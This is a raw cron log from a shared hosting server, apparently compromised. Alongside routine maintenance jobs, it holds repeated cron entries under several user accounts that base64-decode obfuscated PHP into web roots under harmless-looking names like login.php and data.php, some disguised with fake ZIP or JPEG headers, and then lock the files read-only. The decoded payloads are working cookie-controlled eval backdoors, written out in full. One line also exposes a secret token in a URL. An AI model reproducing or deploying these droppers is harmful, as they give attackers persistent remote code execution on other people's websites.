25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:12:02 medusa CROND[9076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:12:02 medusa CROND[9073]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:12:02 medusa CROND[9077]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:12:02 medusa CROND[9086]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:12:02 medusa CROND[9078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:12:02 medusa CROND[9090]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:12:02 medusa CROND[9093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:13:01 medusa CROND[26540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:13:01 medusa CROND[26850]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:13:01 medusa CROND[26854]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:13:01 medusa CROND[26855]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:13:01 medusa CROND[26856]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:13:01 medusa CROND[26866]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:13:01 medusa CROND[26868]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:13:01 medusa CROND[26869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:13:01 medusa CROND[26872]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 11:13:01 medusa CROND[26874]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:13:01 medusa CROND[26876]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:13:01 medusa CROND[26877]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:13:01 medusa CROND[26879]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:13:01 medusa CROND[26878]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:14:01 medusa CROND[12368]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:14:01 medusa CROND[12445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:14:01 medusa CROND[12603]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 11:14:01 medusa CROND[12637]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:14:01 medusa CROND[12642]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:14:01 medusa CROND[12646]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:14:01 medusa CROND[12647]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:14:01 medusa CROND[12648]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:14:01 medusa CROND[12657]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:14:01 medusa CROND[12644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:14:01 medusa CROND[12659]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:14:01 medusa CROND[12662]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:14:01 medusa CROND[12664]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:15:01 medusa CROND[30557]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:15:01 medusa CROND[30651]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 11:15:01 medusa CROND[30740]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
